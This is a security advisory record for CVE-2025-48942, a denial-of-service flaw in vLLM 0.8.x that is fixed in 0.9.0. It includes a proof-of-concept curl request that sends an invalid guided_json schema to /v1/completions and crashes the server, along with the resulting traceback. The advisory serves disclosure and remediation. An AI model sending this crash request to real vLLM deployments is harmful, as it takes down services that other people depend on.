--- id: CVE-2025-48942 aliases: - GHSA-6qc9-v4r8-22xg - PYSEC-2025-54 title: 'vLLM DOS: Remotely kill vllm over http with invalid JSON schema' summary: 'vLLM DOS: Remotely kill vllm over http with invalid JSON schema' severity: medium cvss: 6.5 cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H' vendor: vllm product: vllm ecosystem: pip affected: - 'vllm >= 0.8.0, < 0.9.0' patched: - vllm 0.9.0 published: '2025-05-28' updated: '2026-08-07' source: OSV sourceUrl: 'https://osv.dev/vulnerability/GHSA-6qc9-v4r8-22xg' references: - url: >- https://github.com/vllm-project/vllm/security/advisories/GHSA-6qc9-v4r8-22xg - url: 'https://nvd.nist.gov/vuln/detail/CVE-2025-48942' - url: 'https://github.com/vllm-project/vllm/issues/17248' - url: 'https://github.com/vllm-project/vllm/pull/17623' - url: >- https://github.com/vllm-project/vllm/commit/08bf7840780980c7568c573c70a6a8db94fd45ff - url: >- https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-54.yaml - url: 'https://github.com/vllm-project/vllm' tags: - osv - pip epss: 0.00538 epssPercentile: 0.42809 ingestedAt: '2026-08-07T19:14:14.101Z' --- ## Overview ### Summary Hitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server ### Details The following API call `(venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}' ` will provoke a Uncaught exceptions from xgrammer in `./lib64/python3.11/site-packages/xgrammar/compiler.py ` Issue with more information: https://github.com/vllm-project/vllm/issues/17248 ### PoC Make a call to vllm with invalid json_scema e.g. `{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}` `curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}' ` ### Impact vllm crashes example traceback ``` ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last): ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in run_engine_core ERROR 03-26 17:25:01 [core.py:340] engine_core.run_busy_loop() ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 367, in run_busy_loop ERROR 03-26 17:25:01 [core.py:340] outputs = step_fn() ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 181, in step ERROR 03-26 17:25:01 [core.py:340] scheduler_output = self.scheduler.schedule() ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py", line 257, in schedule ERROR 03-26 17:25:01 [core.py:340] if structured_output_req and structured_output_req.grammar: ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 41, in grammar ERROR 03-26 17:25:01 [core.py:340] completed = self._check_grammar_completion() ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 29, in _check_grammar_completion ERROR 03-26 17:25:01 [core.py:340] self._grammar = self._grammar.result(timeout=0.0001) ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 456, in result ERROR 03-26 17:25:01 [core.py:340] return self.__get_result() ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 401, in __get_result ERROR 03-26 17:25:01 [core.py:340] raise self._exception ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/thread.py", line 58, in run ERROR 03-26 17:25:01 [core.py:340] result = self.fn(*self.args, **self.kwargs) ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py", line 120, in _async_create_grammar ERROR 03-26 17:25:01 [core.py:340] ctx = self.compiler.compile_json_schema(grammar_spec, ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py", line 101, in compile_json_schema ERROR 03-26 17:25:01 [core.py:340] self._handle.compile_json_schema( ERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is()) is false: Schema should be an object or bool ERROR 03-26 17:25:01 [core.py:340] ERROR 03-26 17:25:01 [core.py:340] CRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue. ``` ### Fix * https://github.com/vllm-project/vllm/pull/17623 ## Affected packages - `vllm >= 0.8.0, < 0.9.0` ## Remediation Upgrade to a patched release: - `vllm 0.9.0`